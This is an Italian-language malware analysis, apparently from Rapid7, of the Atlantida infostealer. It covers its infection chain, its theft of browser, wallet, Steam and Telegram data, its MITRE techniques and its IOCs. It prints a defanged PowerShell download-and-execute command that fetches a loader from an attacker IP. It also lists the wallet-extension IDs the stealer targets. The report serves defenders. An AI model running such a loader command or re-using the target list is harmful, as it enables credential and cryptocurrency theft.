Recentemente, Rapid7 ha osservato un nuovo programma di furto chiamato Atlantida. Il programma inganna gli utenti per scaricare un file dannoso da un sito compromesso e utilizza diverse tecniche di elusione come il caricamento riflessivo e l’iniezione prima che il programma di furto venga caricato.
Atlantida ruba una vasta gamma di informazioni di accesso a software come Telegram, Steam, dati di diversi portafogli di criptovalute offline, dati memorizzati nel browser e anche dati di estensioni del browser per portafogli di criptovalute. Cattura anche lo schermo della vittima e raccoglie dati hardware.

Analisi Tecnica
Fase 1 – Consegna
L’attacco inizia con un utente che scarica un file .hta dannoso da un sito compromesso. È importante notare che il file .hta viene eseguito manualmente dalla vittima. Durante l’analisi del file, abbiamo osservato uno script Visual Basic che decripta una stringa base64 codificata nel file e esegue il contenuto decriptato:

La stringa di comando decriptata è: “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” irm hxxp://166.1.160[.]10/loader.txt | iex.
Fase 2 – Tre livelli di caricamento in memoria
Il comando PowerShell eseguito scarica ed esegue uno script PowerShell di prossimo livello in memoria.

Lo script PowerShell scarica e carica in modo riflessivo un downloader .NET. Il downloader .NET è un semplice strumento di download che chiama la funzione API DownloadData per ottenere un iniettore Donut. Donut è un codice indipendente dalla posizione che consente l’esecuzione in memoria di file VBScript, JScript, EXE, DLL e assembly .NET. Successivamente, il Donut viene iniettato nel processo “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe” appena creato utilizzando una tecnica di iniezione di thread remoto (alias CreateRemoteThread). Questa tecnica funziona scrivendo un shellcode nel contesto di un altro processo idoneo e creando un thread per far eseguire il payload a quel processo.

Fase 3 – Atlantida Stealer
L’iniettore Donut viene utilizzato per caricare un payload finale, che nel nostro caso è un nuovo Atlantida Stealer. Ha ricevuto il suo nome seguendo la stringa trovata nell’eseguibile.

Prima di tutto, il ladro Atlantida cattura l’intero schermo utilizzando la combinazione di funzioni API GetDC, CreateCompatibleDC, CreateDIBSection, SelectObject e BitBlt. Successivamente, controlla se esiste un file di servizi recenti di Filezilla (software FTP open source che consente agli utenti di trasferire file da un computer locale a uno remoto). Per farlo, tenta di aprire “C:\Users\nomeutente\AppData\Roaming\FileZilla\recentservers.xml”; se esiste, legge il file. In seguito, cerca i seguenti portafogli di criptovalute offline enumerando i file sotto il percorso del portafoglio:

Il ladro legge tutti i file trovati sotto il percorso enumerato.
Successivamente, raccoglie i dati hardware della vittima come RAM, GPU, CPU e risoluzione dello schermo. Il ladro enumera la cartella Desktop dell’utente e legge tutti i file di testo (.txt). Cerca anche le credenziali del portafoglio Binance enumerando una directory `C:\Users\NomeUtente\AppData\Roaming\Binance` e leggendo tutti i file JSON presenti.
Anche la configurazione e le credenziali di Steam (servizio di distribuzione digitale di videogiochi) sono di interesse per il ladro Atlantida, poiché abbiamo osservato che enumera la directory di configurazione di Steam e cerca i seguenti file:
– Ssfn – File Steam Sentry.
– Config.vdf – File di configurazione di Steam.
– Loginusers.vdf – memorizza i record degli account Steam precedentemente effettuati accessi.

L’ultima cosa che Atlantida sta raccogliendo sono i dati di Telegram. Raccoglie tutti i dati situati in “C:\Users\NomeUtente\AppData\Roaming\Telegram Desktop\tdata”.
Il ladro ora si connette al server C&C codificato (45.144.232.99). Abbiamo accesso all’indirizzo IP codificato e siamo arrivati alla pagina di accesso del pannello di controllo che presumiamo sia quello del ladro, che aveva anche un titolo `Atlantida`.

Questa volta non vengono inviati dati al server C&C e il ladro continua la sua raccolta. Diversamente da altri ladri, Atlantida si concentra solo su tre browser web: Google Chrome, Mozilla Firefox e Microsoft Edge. Ruba tutte le password memorizzate, i cookie, i token, le carte di credito e i completamenti automatici.
Una delle funzioni degne di nota del ladro Atlantida è la sua capacità di rubare dati dalle estensioni del browser basate su Chrome. Per ciascuna estensione basata su Chrome viene fornito un “ID estensione”. Il malware utilizza queste informazioni per raccogliere i dati memorizzati all’interno. Atlantida raccoglie dati dalle seguenti estensioni per portafogli di criptovalute:
| Extension Name | Extension ID |
|---|---|
| Metamask | nkbihfbeogaeaoehlefnkodbefgpgknn |
| Sollet | fhmfendgdocmcbmfikdcogofphimnkno |
| BNB chain wallet | fhbohimaelbohpjbbldcngcnapndodjp |
| Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
| Metawallet | bkklifkecemccedpkhcebagjpehhabfb |
| Yoroi | ffnbelfdoeiohenkjibnmadjiehjhajb |
| Nami | lpfcbjknijpeeillifnkikgncikgfhdo |
| Flint | hnhobjmcibchnmglfbldbfabcgaknlkj |
| CardWallet | apnehcjmnengpnmccpaibjmhhoadaico |
| Guildwallet | nanjmdknhkinifnkgdcggcfnhdaammmj |
| TronWallet | pnndplcbkakcplkjnolgbkdgjikjednm |
| CryptoAirdrops | dhgnlgphgchebgoemcjekedjjbifijid |
| Bitoke | oijajbhmelbcoclnkdmembiacmeghbae |
| Coin89 | aeachknmefphepccionboohckonoeemg |
| XDefiWallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf |
| Keplr | dmkamcknogkgcdfhhbddcghachkejeap |
| FreaksAxie | copjnifcecdedocejpaapepagaodgpbh |
| Oasis | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| Rabby | acmacodkjbdgmoleebolmdjonilkdbch |
| MathWallet | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| NiftyWallet | jbdaocneiiinmjbjlgalhcelgbejmnid |
| Guarda | hpglfhgfnhbgpjdenjgmdgoeiappafln |
| EQUALWallet | blnieiiffboillknjnepogjhkgnoapac |
| BitAppWallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi |
| iWallet | kncchdigobghenbbaddojjnnaogfppfj |
| Wombat | amkmjjmmflddogmhpjloimipbofnfjih |
| MEW CX | nlbmnnijcnlegkjjpcfjclmcfggfefdm |
| GuildWallet | nkddgncdjgjfcddamfgcmfnlhccnimig |
| Saturn Wallet | cphhlgmgameodnhkjdmkpanlelnlohao |
| CloverWallet | nhnkbkgjikgcigadomkphalanndcapjk |
| LiqualityWallet | kpfopkelmapcoipemfendmdcghnegimn |
| TerraStation | aiifbnbfobpmeekipheeijimdpnlpgpp |
| AuroWallet | cnmamaachppnkjgnildpdmkaakejnhae |
| Polymesh Wallet | jojhfeoedkpkglbfimdfabpdfjaoolaf |
| ICONex | flpiciilemghbmfalicajoolhkkenfel |
| NaboxWallet | nknhiehlklippafakaeklbeglecifhad |
| KHC | hcflpincpppdclinealmandijcmnkbgn |
| Temple | ookjlbkiijinhpmnjffcofjonbfbgaoc |
| TezBox | mnfifefkajgofkcjkemidiaecocnkjeh |
| CyanoWallet | dkdedlpgdmmkkfjabffeganieamfklkm |
| Byone | nlgbhdfgdhgbiamfdfmbikcdghidoadd |
| OneKey | infeboajgfhgbjpjbeppbkgnabfdkdaf |
| Leaf Wallet | cihmoadaighcejopammfbmddcmdekcje |
| BitClip | ijmpgkjfkbfhoebgogflfebnmejmfbml |
| NashExtension | onofpnbbkehpmmoabgpcpmigafmmnjhl |
| HyconLiteClient | bcopgchhojmggmffilplmbdicgaihlkp |
Quando il ladro ha terminato la raccolta, tutti i dati vengono compressi e inviati al server C&C. Successivamente, il malware termina.
Clienti Rapid7
Per i clienti Rapid7 MDR e InsightIDR, le seguenti regole di Attacker Behavior Analytics (ABA) sono attualmente implementate e forniscono allarmi sull’attività descritta in questo blog:
Processo Sospetto – MSHTA Genera PowerShell
Tecniche MITRE ATT&CK:
| Tactic | Technique | **Details |
|---|---|---|
| Execution | User Execution: Malicious File (T1204.002) | A user downloads and executes malicious .hta file |
| Execution | Command and Scripting Interpreter: Visual Basic (T1059.005) | .hta contains malicious VBScript function |
| Execution | Command and Scripting Interpreter:Powershell (T1059.001) | VBScript executes powershell to download powershell script |
| Command and Control | Ingress Tool Transfer (T1105) | A powershell script downloads an additional .Net Loader |
| Defense Evasion | Reflective Code Loading (T1620) | Powershell script executed the loader reflectively |
| Defense Evasion | Process Injection (T1055) | The .Net loader injects into RegAsm.exe process |
| Credential Access | Credentials from Password Stores: Credentials from Web Browsers (T1555.003) | Atlantida steals stored browser data such as passwords, cookies, tokens, credit cards and autofills |
| Credential Access | Credentials from Password Stores (T1555) | Atlantida steals offline cryptocurrency wallets data, and other software data |
| Discovery | System Information Discovery (T1082) | Atlantida collects victim’s hardware information |
| Collection | Screen Capture (T1113) | Atlantida captures victim’s screen |
| Exfiltration | Exfiltration Over C2 Channel (T1041) | Atlantida exfiltrats all collected data |
IOCs
| IOC | SHA-256 | Notes |
|---|---|---|
| ReadEra_v1.4.2.hta | 67b8776b9d8f581173bcb471e91ff1701cafbc92aaed858fe3cb26a31dd6a6d8 | Malicious .hta file |
| http://166.1.160[.]10/loader.txt | Malicious powershell script | |
| http://166.1.160[.]10/www_c.bin | f935143dba2fb65eef931c1dac74a740e58e9e911a13457f4cfa4c73a0c673b3 | Stores .Net Loader |
| http://166.1.160[.]10/www.bin | 350216884486d1fafbd60e1d9c87c48149b058e4fab6b9a2a5cd7ea67ab250a0 | Stores Donut shellcode |
| AtlantidaStealer.exe | b4f4d51431c4e3f7aeb01057dc851454cff4e64d16c05d9da12dfb428715d130 | Atlantida stealer |
| 45.144.232[.]99 | C&C server |

